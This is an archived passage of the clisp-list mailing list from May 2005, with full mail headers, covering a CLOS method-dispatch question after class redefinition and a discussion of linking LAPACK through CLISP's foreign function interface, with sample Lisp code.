=20=20=20=20=20=20=20=20=20=20=20=20 > decimal-digit---a digit in radix 10.=20=20=20=20=20=20=20=20=20=20=20=20= =20=20=20=20=20=20=20=20=20=20=20=20 > digit---a digit in the current input radix.=20=20=20=20=20=20=20=20=20=20= =20=20=20=20=20=20=20=20=20=20=20=20=20=20 > > Figure 2-9. Syntax for Numeric Tokens > > ---------------------------------------- > > digit n. (in a radix) a character that is among the possible digits (0 > to 9, A to Z, and a to z) and that is defined to have an associated > numeric weight as a digit in that radix. See Section 13.1.4.6 (Digits > in a Radix). > > ---------------------------------------- > > 13.1.4.4 Numeric Characters > > The numeric characters are a subset of the graphic characters. Of the > standard characters, only these are numeric characters: > > 0 1 2 3 4 5 6 7 8 9 > > For each implementation-defined graphic character that has no case, > the implementation must define whether or not it is a numeric > character.=20 > > ---------------------------------------- > > 13.1.4.6 Digits in a Radix > > What qualifies as a digit depends on the radix (an integer between 2 > and 36, inclusive). The potential digits are: > > 0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z > > Their respective weights are 0, 1, 2, ... 35. In any given radix n, > only the first n potential digits are considered to be digits. For > example, the digits in radix 2 are 0 and 1, the digits in radix 10 are > 0 through 9, and the digits in radix 16 are 0 through F. > > Case is not significant in digits; for example, in radix 16, both F > and f are digits with weight 15.=20 > > ---------------------------------------- > > Function DIGIT-CHAR-P > > Syntax: > > digit-char-p char &optional radix =3D> weight > > Arguments and Values: > > char---a character. > > radix---a radix. The default is 10. > > weight---either a non-negative integer less than radix, or false. > > Description: > > Tests whether char is a digit in the specified radix (i.e., with a > weight less than radix). If it is a digit in that radix, its weight is > returned as an integer; otherwise nil is returned.=20 > > ---------------------------------------- > > > --=20 > __Pascal Bourguignon__ http://www.informatimago.com/ > > Nobody can fix the economy. Nobody can be trusted with their finger > on the button. Nobody's perfect. VOTE FOR NOBODY. > > > ------------------------------------------------------- > This SF.Net email is sponsored by Oracle Space Sweepstakes > Want to be the first software developer in space? > Enter now for the Oracle Space Sweepstakes! > http://ads.osdn.com/?ad_id=3D7393&alloc_id=3D16281&op=3Dclick --=20 Sam Steingold (http://www.podval.org/~sds) running w2k Trespassers will be shot. Survivors will be prosecuted. From jimka@agora.rdrop.com Sun May 15 06:52:26 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DXJXe-00060x-7n for clisp-list@lists.sourceforge.net; Sun, 15 May 2005 06:52:26 -0700 Received: from agora.rdrop.com ([199.26.172.34] ident=0) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DXJXM-0006Mz-Kf for clisp-list@lists.sourceforge.net; Sun, 15 May 2005 06:52:25 -0700 Received: from agora.rdrop.com (4777@localhost [127.0.0.1]) by agora.rdrop.com (8.13.1/8.12.7) with ESMTP id j4FDpsB4023693 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sun, 15 May 2005 06:52:00 -0700 (PDT) (envelope-from jimka@agora.rdrop.com) Received: (from jimka@localhost) by agora.rdrop.com (8.13.1/8.12.9/Submit) id j4FDpno3023670; Sun, 15 May 2005 06:51:49 -0700 (PDT) Message-Id: <200505151351.j4FDpno3023670@agora.rdrop.com> From: Jim Newton To: clisp-list@lists.sourceforge.net To: cmucl-help@cons.org X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] jimka@rdrop.com Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 15 06:52:58 2005 X-Original-Date: Sun, 15 May 2005 06:51:49 -0700 (PDT) In the following code i see very different behavior from CMUCL and CLISP. Can someone tell me which is the correct behavior? In CMUCL, I see both the primary method being called and also the after method. However, from CLISP only the primary method seems to be called. thanks -jim (defpackage "FOO" (:use "COMMON-LISP") (:export "FUN" "MIXIN-FOO")) (in-package foo) (defclass mixin-foo nil nil) (defclass class-foo (mixin-foo) nil) (defgeneric fun (x)) (defmethod fun ((x class-foo)) (fresh-line) (format t "hello from fun~%") (finish-output)) (defpackage "BAR" (:use "FOO" "COMMON-LISP")) (in-package bar) (defclass class-bar nil nil) (defmethod fun :after ((x class-bar)) (fresh-line) (format t "hello from after fun~%") (finish-output)) ;; redefine class class-foo (defclass mixin-foo (class-bar) nil) (in-package foo) (fun (make-instance 'class-foo)) -- +------------------------------------------------------------------+ | jimka@agora.rdrop.com __ http://agora.rdrop.com/~jimka | +----------------------------\/------------------------------------+ | Prejudice always masquerades as rationality until it is exposed. | +------------------------------------------------------------------+ | None of us is truly free until all of us are free, with all our | | rights intact and guaranteed, including the basic right to live | | without threat or harassment. [PLAGAL] | +------------------------------------------------------------------+ From hanche+bounces@math.ntnu.no Sun May 15 08:13:58 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DXKoX-0002qz-V4 for clisp-list@lists.sourceforge.net; Sun, 15 May 2005 08:13:57 -0700 Received: from fiinbeck.math.ntnu.no ([129.241.15.140]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1DXKo1-0004o0-Nr for clisp-list@lists.sourceforge.net; Sun, 15 May 2005 08:13:57 -0700 Received: (qmail 67579 invoked from network); 15 May 2005 15:13:18 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 15 May 2005 15:13:18 -0000 Message-Id: <20050515.171318.78764312.hanche@math.ntnu.no> To: jimka@agora.rdrop.com Cc: clisp-list@lists.sourceforge.net, cmucl-help@cons.org From: Harald Hanche-Olsen In-Reply-To: <200505151351.j4FDpno3023670@agora.rdrop.com> References: <200505151351.j4FDpno3023670@agora.rdrop.com> X-URL: http://www.math.ntnu.no/~hanche/ X-Mailer: Mew version 3.3 on Emacs 21.3 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: jimka@rdrop.com Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 15 08:14:31 2005 X-Original-Date: Sun, 15 May 2005 17:13:18 +0200 (CEST) + Jim Newton : | In the following code i see very different behavior from CMUCL | and CLISP. Can someone tell me which is the correct behavior? I am no expert, but I'll wager that CMUCL is right. Let the experts pick my reasoning apart if they disagree. | In CMUCL, I see both the primary method being called and also | the after method. However, from CLISP only the primary method | seems to be called. First, off, I think all the package stuff in the example is totally incidental. Nowhere do I see a potential naming conflict between symbols here. So, stripped to essentials, the example is | (defclass mixin-foo nil nil) | (defclass class-foo (mixin-foo) nil) | (defgeneric fun (x)) | (defmethod fun ((x class-foo)) ...) | | (defclass class-bar nil nil) | (defmethod fun :after ((x class-bar)) ...) | | ;; redefine class class-foo | (defclass mixin-foo (class-bar) nil) | | (fun (make-instance 'class-foo)) So before the redifinition, the class hiearchy is mixin-foo class-foo <-- primary fun method applicable class-bar <-- :after fun method applicable while afterwards, it is class-bar <-- :after fun method applicable mixin-foo class-foo <-- primary fun method applicable I think the following extract from CLHS, about defclass, is pertinent: If a class with the same proper name already exists and that class is an instance of standard-class, and if the defclass form for the definition of the new class specifies a class of class standard-class, the existing class is redefined, and instances of it (and its subclasses) are updated to the new definition at the time that they are next accessed. For details, see Section 4.3.6 (Redefining Classes). Section 4.3.6 only specifies what happens to :reader, :writer or :accessor methods, not what happens to user supplied methods. But surely, in that case removing such methods seems unwarranted. Also, Redefining a class modifies the existing class object to reflect the new class definition; it does not create a new class object for the class. This indicates to me very strongly that any methods defined before the change will not only still be there, but they will be applicable to the redefined class, since the class object really is the same. And so, presumably, the associated type is still the same. - Harald From sds@gnu.org Sun May 15 10:18:25 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DXMkt-0003gz-Rr for clisp-list@lists.sourceforge.net; Sun, 15 May 2005 10:18:19 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DXMks-0008SV-8O for clisp-list@lists.sourceforge.net; Sun, 15 May 2005 10:18:19 -0700 Received: from 65-78-20-170.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) (65.78.20.170) by smtp04.mrf.mail.rcn.net with ESMTP; 15 May 2005 13:18:13 -0400 To: clisp-list@lists.sourceforge.net, Jim Newton Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200505151351.j4FDpno3023670@agora.rdrop.com> (Jim Newton's message of "Sun, 15 May 2005 06:51:49 -0700 (PDT)") References: <200505151351.j4FDpno3023670@agora.rdrop.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jim Newton Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_ASTERISK BODY: Text interparsed with * 0.0 SF_CHICKENPOX_PERCENT BODY: Text interparsed with % 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: jimka@rdrop.com Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 15 10:18:56 2005 X-Original-Date: Sun, 15 May 2005 13:17:36 -0400 > * Jim Newton [2005-05-15 06:51:49 -0700]: > > In the following code i see very different behavior from CMUCL > and CLISP. Can someone tell me which is the correct behavior? > > In CMUCL, I see both the primary method being called and also > the after method. However, from CLISP only the primary method > seems to be called. current CVS head: ;; Loading file ../../bugs/jimka.lisp ... hello from fun hello from after fun ;; Loaded file ../../bugs/jimka.lisp -- Sam Steingold (http://www.podval.org/~sds) running w2k char*a="char*a=%c%s%c;main(){printf(a,34,a,34);}";main(){printf(a,34,a,34);} From noreply@ieee.org Sun May 15 12:24:06 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DXOib-0004cC-5g for clisp-list@lists.sourceforge.net; Sun, 15 May 2005 12:24:05 -0700 Received: from ruebert.ieee.org ([140.98.193.10]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.41) id 1DXOi5-0007Pf-94 for clisp-list@lists.sourceforge.net; Sun, 15 May 2005 12:24:05 -0700 Received: from ruebert.ieee.org (localhost [127.0.0.1]) by ruebert.ieee.org (Switch-3.1.0/Switch-3.1.0) with ESMTP id j4FJNe92010924 for ; Sun, 15 May 2005 15:23:40 -0400 (EDT) Received: (from mailnull@localhost) by ruebert.ieee.org (Switch-3.1.0/Switch-3.1.0/Submit) id j4FJNeQF010922; Sun, 15 May 2005 15:23:40 -0400 (EDT) Message-Id: <200505151923.j4FJNeQF010922@ruebert.ieee.org> X-Authentication-Warning: ruebert.ieee.org: mailnull set sender to noreply@ieee.org using -f To: clisp-list@lists.sourceforge.net References: In-Reply-To: From: noreply@ieee.org X-LoopDetect: alias-processor Precedence: junk Organization: IEEE Service Center, Piscataway, NJ X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Procedure for Alias Requests and Changes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 15 12:24:34 2005 X-Original-Date: Sun, 15 May 2005 15:23:40 -0400 (EDT) *********************************************************************** * Do NOT use this procedure if you have access to the World Wide Web! * *********************************************************************** Submitting Requests and Changes via the World-Wide-Web: The FORMS for Alias Requests and Changes on the World Wide Web can be found at: http://eleccomm.ieee.org/ Submissions via E-Mail are NOT handled automatically and may take several days before they are processed. Therefore, you should always use the FORMS at the Web link above whenever possible. What follows are the Instructions and a BLANK template for submitting Alias Changes and Requests via E-Mail. ************************************************************************ ** THE RETURN ADDRESSES ON THIS MESSAGE HAVE BEEN SET TO PREVENT MAIL ** ** LOOPS IN THE EVENT YOU ARE RUNNING SOFTWARE WHICH AUTO-REPLIES TO ** ** INBOUND MAIL. IEEE WILL NOT SEE ANY REPLY SENT TO THIS MESSAGE. ** ************************************************************************ =========================================================== From Bernard.Urban@meteo.fr Wed May 18 08:45:22 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DYQja-0007DI-4m for clisp-list@lists.sourceforge.net; Wed, 18 May 2005 08:45:22 -0700 Received: from cadillac.meteo.fr ([137.129.1.4]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DYQjW-0000Rh-PL for clisp-list@lists.sourceforge.net; Wed, 18 May 2005 08:45:21 -0700 Received: from merceron.meteo.fr (localhost.meteo.fr [127.0.0.1]) by cadillac.meteo.fr (8.9.3 (PHNE_28760_binary)/8.9.3) with ESMTP id PAA20823 for ; Wed, 18 May 2005 15:45:07 GMT To: clisp-list@lists.sourceforge.net From: Bernard Urban In-Reply-To: <20050406031323.C6850123E6@sc8-sf-spam2.sourceforge.net> (clisp-list-request@lists.sourceforge.net's message of "Tue, 05 Apr 2005 20:13:03 -0700") Message-ID: <873bskedxf.fsf@merceron.dso.meteo.fr> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.2 (gnu/linux) References: <20050406031323.C6850123E6@sc8-sf-spam2.sourceforge.net> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] FFI improvements needed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 18 08:46:35 2005 X-Original-Date: Wed, 18 May 2005 17:45:00 +0200 Hello all, I want to access some LAPACK code to solve linear systems, and I found the following problem: in my version (Debian, 2.33.2), I use the :library keyword to link to liblapack, but: 1) liblapack needs libblas2, which itself needs libf2c (alternatively, you may choose some equivalent g77 library);=20 yes, this is written in Fortran ! There is no way to link at the same time several libraries, but there is a trick (see code at the end) 2) When you happen for solving problem 1) to force clisp to dlopen a chain of libraries, as clisp uses flag RTLD_NOW only,=20 the loading of previous libraries are forgotten. In addition, all undefined symbols MUST be resolved at linking time. 3) LAPACK happens in case of failure to STOP the program; it would be good to have a way to intercept it to the condition system. So I ended up with a clisp version having replaced RTLD_NOW with RTLD_LAZY|RTLG_GLOBAL. Then, the following code works, with problems 1) and 2) solved. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D ;;; -*- Mode:Lisp; Syntax: Common-lisp; Package: LAPACK; Base:10; Lowercase= : Yes -*- (in-package :user) #+clisp (setf custom:*floating-point-contagion-ansi* t custom:*warn-on-floating-point-contagion* nil) (eval-when (:compile-toplevel :load-toplevel :execute) (common-lisp-controller:clc-require :infix)) #+cmu (eval-when (:load-toplevel :execute) (load-foreign "/usr/lib/liblapack.so" :libraries '("-lblas2" "-lf2c"))) (defpackage :lapack (:use :common-lisp #+cmu :alien #+cmu :c-call #+clisp :ffi) (:export :dgesv)) (in-package :lapack) ;;; FFI #+clisp (ffi:def-call-out s_copy (:name "s_copy") (:return-type nil) (:language :stdc) (:library "libf2c.so.2")) #+clisp (ffi:def-call-out idamax_ (:name "idamax_") (:return-type nil) (:language :stdc) (:library "libblas2.so")) #+clisp (ffi:def-call-out dgesv (:name "dgesv_") (:return-type nil) (:language :stdc) (:library "liblapack.so") (:arguments (n (ffi:c-ptr int)) (nrhs (ffi:c-ptr int)) (a ffi:c-pointer) (lda (ffi:c-ptr int)) (ipiv ffi:c-pointer) (b ffi:c-pointer) (ldb (ffi:c-ptr int)) (info (ffi:c-ptr int) :in-out))) #+cmu (def-alien-routine ("dgesv_" dgesv) void (n (* int)) (nrhs (* int)) (a (* double-float)) (lda (* int)) (ipiv (* int)) (b (* double-float)) (ldb (* int)) (info (* int))) (defvar mat3 (make-array '(3 3) :element-type 'double-float :initial-conten= ts '((1.02729d9 1.61398d9 1.42116d9) (1.05044d9 1.45891d9 2.02499d9) (2.89555d8 2.60287d7 2.03739d9)))) (defvar x3 (make-array 3 :element-type 'double-float :initial-contents=20 '(1.44563d9 1.41769d9 6.75019d8))) (defun solve (matrice y) "R=E9solution d'un syst=E8me lin=E9aire avec 'dgesv' de Lapack" (declare (type (array double-float 2) matrice)) (declare (type (array double-float 1) y)) (let ((n (array-dimension matrice 0))) (unless (and (=3D 1 (array-rank y)) (=3D 2 (array-rank matrice)) (=3D n (array-dimension matrice 0) (array-dimension y 0))) (error "matrice pas carr=E9e ou dimension second membre incorrecte")) #+cmu (let ((ipiv-alien (make-alien int n)) (x-alien (make-alien double-float n)) (mat-alien (make-alien double-float (* n n)))) (unwind-protect (progn (dotimes (i n) (dotimes (j n) (setf (deref mat-alien (+ i (* n j))) (aref matrice i j)))) (dotimes (i n) (setf (deref x-alien i) (aref y i))) (with-alien ((dim int) (nrhs int) (lda int) (ldb int) (info int)) (setf dim n) (setf nrhs 1) (setf lda n) (setf ldb n) (dgesv (addr dim) (addr nrhs) mat-alien (addr lda) ipiv-alien x-alien (addr ldb) (addr info)) (let ((resul (make-array `(,n) :element-type 'double-float))) (dotimes (i n (values resul (=3D info 0))) (setf (aref resul i) (deref x-alien i)))))) (free-alien ipiv-alien) (free-alien x-alien) (free-alien mat-alien))) #+clisp (with-foreign-object (mat-alien `(ffi:c-array double-float ,(* n n))) (with-foreign-object (x-alien `(ffi:c-array double-float ,n)) (with-foreign-object (ipiv-alien `(ffi:c-array int ,n)) (dotimes (i n) (dotimes (j n) (setf (element (foreign-value mat-alien) (+ i (* n j)))=20 (aref matrice i j)))) (dotimes (i n) (setf (element (foreign-value x-alien) i) (aref y i))) (with-c-var (n 'int n) (with-c-var (nrhs 'int 1) (with-c-var (lda 'int n) (with-c-var (ldb 'int n) (with-c-var (info 'int 123) (multiple-value-bind (info) (dgesv n nrhs (foreign-address mat-alien) lda (foreign-address ipiv-alien)=20 (foreign-address x-alien) ldb info) (let ((resul (make-array `(,n)=20 :element-type 'double-float))) (dotimes (i n (values resul (=3D info 0))) (setf (aref resul i)=20 (element (foreign-value x-alien) i))))))))))))) )) (defun main (n) (let ((mat (make-array `(,n ,n) :element-type 'double-float)) (x (make-array `(,n) :element-type 'double-float))) (dotimes (i n) (dotimes (j n) #I(mat[i,j] =3D !(coerce (random 2147483647) 'double-float)))) (dotimes (i n) #I(x[i] =3D !(coerce (random 2147483647) 'double-float))) (let ((resul (solve mat x)) (qualite 0) (norm 0)) (dotimes (i n) (let ((tmp 0)) (dotimes (j n)=20 #I(tmp +=3D mat[i,j]*resul[j])) #I(qualite +=3D (tmp - x[i])*(tmp - x[i])) #I(norm +=3D x[i]*x[i]))) (format t "~% Qualite : ~a ~a~%"=20 (sqrt (/ qualite norm n)) resul)))) =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Notice that it works also for CMUCL, and you can see the differences of handling the FFI problem from the syntactic point of view. (I have heard about a UFFI for clisp, how advanced is this ?) What I am suggesting for future version of FFI in clisp is to have a more natual way to link several libraries at once, and to have the various RTLD_* as an option. Any comments from the clisp developers and users ? --=20 Bernard Urban From Joerg-Cyril.Hoehle@t-systems.com Wed May 18 09:57:58 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DYRrq-0006QG-4v for clisp-list@lists.sourceforge.net; Wed, 18 May 2005 09:57:58 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DYRrp-0000Xv-G9 for clisp-list@lists.sourceforge.net; Wed, 18 May 2005 09:57:58 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 18 May 2005 18:57:47 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 18 May 2005 18:57:03 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03044EBB7A@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Bernard.Urban@meteo.fr Subject: AW: [clisp-list] FFI improvements needed -- opening shared librar ies MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 18 09:58:54 2005 X-Original-Date: Wed, 18 May 2005 18:57:00 +0200 Bernard (Reini??) Urban wrote: >I want to access some LAPACK code to solve linear systems, and I found >the following problem: in my version (Debian, 2.33.2), I use the >:library keyword to link to liblapack, but: >1) liblapack needs libblas2, which itself needs libf2c (alternatively, >you may choose some equivalent g77 library);=20 I stumbled upon this (IIRCC with libGLUT or some such, while trying to = test I forgot what). One PC (Suse linux 8 or 9) failed to load the = library, the other (Ubuntu Debian) worked. I analyzed it and came to the conclusion that the libxxx were broken, = because they did not tell which other libraries they depend on. IIRC, ldd on the library failed on the broken system, as a symptom. Of course, that's not the answer a user wants to hear, but I have to go = home now. I also haven't looked at the code, but I have been knowing = for >10 years that CMUCL had the option to link in a list of libraries = and wondered how CLISP could do without it. Libraries knowing = themselves where to get what they depend on seemed TRT to me. So you're just the first to hit the dust, man. Regards, J=F6rg. From Bernard.Urban@meteo.fr Thu May 19 01:09:48 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DYg6G-0000ds-DR for clisp-list@lists.sourceforge.net; Thu, 19 May 2005 01:09:48 -0700 Received: from cadillac.meteo.fr ([137.129.1.4]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DYg6D-0003a9-UM for clisp-list@lists.sourceforge.net; Thu, 19 May 2005 01:09:48 -0700 Received: from merceron.meteo.fr (localhost.meteo.fr [127.0.0.1]) by cadillac.meteo.fr (8.9.3 (PHNE_28760_binary)/8.9.3) with ESMTP id IAA22806; Thu, 19 May 2005 08:09:35 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, Bernard.Urban@meteo.fr Subject: Re: AW: [clisp-list] FFI improvements needed -- opening shared librar ies References: <5F9130612D07074EB0A0CE7E69FD7A03044EBB7A@S4DE8PSAAGS.blf.telekom.de> From: Bernard Urban In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03044EBB7A@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Wed, 18 May 2005 18:57:00 +0200") Message-ID: <87u0kzprgg.fsf@merceron.dso.meteo.fr> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 19 01:12:04 2005 X-Original-Date: Thu, 19 May 2005 10:09:35 +0200 "Hoehle, Joerg-Cyril" writes: > Bernard (Reini??) Urban wrote: No, not the same person. >>I want to access some LAPACK code to solve linear systems, and I found >>the following problem: in my version (Debian, 2.33.2), I use the >>:library keyword to link to liblapack, but: > >>1) liblapack needs libblas2, which itself needs libf2c (alternatively, >>you may choose some equivalent g77 library); > > I stumbled upon this (IIRCC with libGLUT or some such, while trying to test I forgot what). One PC (Suse linux 8 or 9) failed to load the library, the other (Ubuntu Debian) worked. > > I analyzed it and came to the conclusion that the libxxx were broken, because they did not tell which other libraries they depend on. In case of lapack, this is probably voluntary, as there are several blas libraries available, and you may want to specify a given one. The same is true for the underlying Fortran library (f2c and g77 at least are available). [...] Regards. -- Bernard Urban From Joerg-Cyril.Hoehle@t-systems.com Thu May 19 09:08:34 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DYnZZ-0008Fp-RI for clisp-list@lists.sourceforge.net; Thu, 19 May 2005 09:08:33 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DYnZY-000711-Df for clisp-list@lists.sourceforge.net; Thu, 19 May 2005 09:08:33 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Thu, 19 May 2005 18:08:26 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 19 May 2005 18:07:45 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03044EBCE8@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Bernard.Urban@meteo.fr Subject: Re: [clisp-list] FFI improvements needed -- opening shared librar ies MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable 